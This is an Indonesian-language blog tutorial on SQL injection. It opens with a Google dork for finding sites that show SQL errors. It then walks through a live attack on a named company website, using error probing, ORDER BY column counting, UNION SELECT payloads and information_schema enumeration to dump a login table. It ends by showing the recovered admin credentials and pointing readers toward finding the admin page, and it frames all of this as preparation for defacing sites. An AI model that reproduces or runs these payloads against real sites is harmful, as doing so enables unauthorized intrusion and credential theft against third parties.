random post

Monday, May 13, 2013

Tutorial SQL Injection [Detail]

SQL INJECTION, HACKING, CRACKING, GOOGLE DORK
SQL INJECTION
Pengertian SQL Injection --Google sebagai search engine ternama di dunia cyber merupakan alat yang memudahkan/membantu user untuk mengais informasi - informasi di dunia maya melebihi yellow pages semua data yang dibutuhkan ditampilkan secara akurat mengenai topik atau details yang dicari user jangan heran jika ditanya seseorang jawabannya adalah "Tanya aja paman Google" saking informatif google tersebut.


Senjata yang paling sering di gunakan dalam mengeksploitasi pun yang paling sering adalah Google Dork. Google dork adalah kata kunci dalam mempermudah pencarian data, kata kunci inilah yang membantu user dalam mencari data yang akurat maupun data data yang tersembunyi seperti log, username maupun password.


Sebagaimana yang telah kita ketahui, sudah banyak sekali situs-situs diretas oleh hacker / cracker dengan menggunakan teknik SQL Injection. SQL Injection adalah sebuah teknik hacking dengan memanfaatkan sebuah celah keamanan yang terjadi dalam lapisan basis data dari suatu aplikasi / website. Celah ini terjadi ketika masukan dari pengguna tidak disaring secara benar dari karakter-karakter pelolos bentukan string yang diimbuhkan dalam pernyataan SQL atau masukan pengguna tidak bertipe kuat dan karenanya dijalankan tidak sesuai harapan. Ini sebenarnya adalah sebuah contoh dari sebuah kategori celah keamanan yang lebih umum yang dapat terjadi setiap kali sebuah bahasa pemrograman atau skrip diimbuhkan di dalam bahasa yang lain.

SQL injection adalah suatu jenis aksi hacking pada keamanan data di mana seorang penyerang bisa mendapatkan akses ke basis data di dalam sistem. 

1.        Langkah – langkah


Sebelum mendaface sebuah situs, kita bisa menggunakan dork sql injection dengan bantuan om kita semua ( om google )
Langkah 1 : ketikkan perintah berikut di google.
inurl:"product.php?id=" & intext:"You have an error in your SQL syntax"

Kemudian pilih salah satu website yang akan di hack :

http://www.geic.co.id/detailproduct.php?id=75

Langkah 2: untuk mengecek bug pada suatu web tambahkan single quote ( ' ) dibelakang url
Contoh:
http://www.geic.co.id/detailproduct.php?id=75'

ternyata ada bug-nya, muncul pesan error :
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '\' and b.id=a.cat' at line 1

Langkah 3: Untuk mencari column gunakan perintah [order by]
dimulai dengan angka 1, selanjutnya 2, dst sampai muncul pesan error pada target kita kali ini, error muncul pada angka 19.
muncul pesan error: Unknown column '19' in 'order clause' jadi angka yang diambil adalah 19-1 = 18 (jumlah column adalah 18)
Langkah 4: mencari "angka ajaib" dimana kita bisa melakukan injection dengan perintah "union all select".
Contoh:
http://www.geic.co.id/detailproduct.php?id=-75 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15, 16,17,18 --
Jangan lupa tambahkan tanda kurang ( - ) didepan angka parameter ID 75

akan muncul "angka ajaib" : 3, 11 dan 18
kita pilih salah satunya saja, misal 3

Langkah 5 : Mencari versi Database MySql-nya dengan perintah [version()] atau [@@version] pada angka 3.
Contoh:
http://www.geic.co.id/detailproduct.php?id=-75 union all select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
sehingga muncul tulisan :
5.0.90-community
nb : lebih mudah versi 5, karena sebentar kita akan mencari informasi table dan column dari information_schema, dimana information_schema tidak terdapat pada database MySql versi 4.

Langkah 6 : mencari tablenya dgn perintah "group_concat(table_name)" pada salah satu angka ajaib dan "from information_schema.tables where table_schema=database()--" di
belakang angka 18.
1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from
information_schema.tables where table_schema=database()--


Akan muncul nama-nama table : login,tbanner,tcatprod,tproduct,tset.
Selanjutnya kita cari column dari table yg ada hubungannya dengan user+password,
kali ini kita ambil table "login"
sebelumnya kita convert kata login ke bilangan HEXA agar dapat dibaca oleh Sql di sini :
Hasil:
ketik : login
pilih ASCII to Hex
hasilnya : 6c6f67696e

Langkah 7: Menambahkan perintah "group_concat(column_name)" pada angka ajaib 3 dan
"from information_schema.columns where table_name=0xHEXA--" di akhir URL.

ganti HEXA dengan hasil convert tadi yaitu : 6c6f67696e
tambahkan 0x didepan hexa agar server dapat mengetahui bahwa itu telah diconvert
ke hexa.


Contoh:
1,2,group_concat(column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from
information_schema.columns where table_name=0x6c6f67696e--

Hasilnya akan muncul column : user,pass
untuk melihat isi dari kedua column tersebut gunakan perintah "group_concat(column1,0x3a,column2)" pada angka ajaib 3 dan from NAMATABLE-- pada akhir URL

Langkah 8: ganti column 1 dengan "user" dan column2 dengan "pass"
0x3a adalah tanda titik dua (:) yang telah diconvert ke hexa
NAMA TABLE diganti dengan "login" untuk mengambil informasi dari table yang bernama
"login".
Contoh:
http://www.geic.co.id/detailproduct.php?id=-75 union all select
1,2,group_concat(user,0x3a,pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from login--

hasil:admin:admin
jadi,user=admin, password=admin.
Selanjutnya mencari halaman admin dengan menggunakan admin finder. Klo ada yg dapat admin pagenya tolong jangan di deface, supaya web ini bisa digunakan kembali.

Silahkan download versi wordnya :  DISINI
 

1 comments:

Nanang Gunawan said...

Tutorial yang lengkap :)

Post a Comment

Twitter Delicious Facebook Digg Stumbleupon Favorites More

 
Design by Free WordPress Themes | Bloggerized by Lasantha - Premium Blogger Themes | coupon codes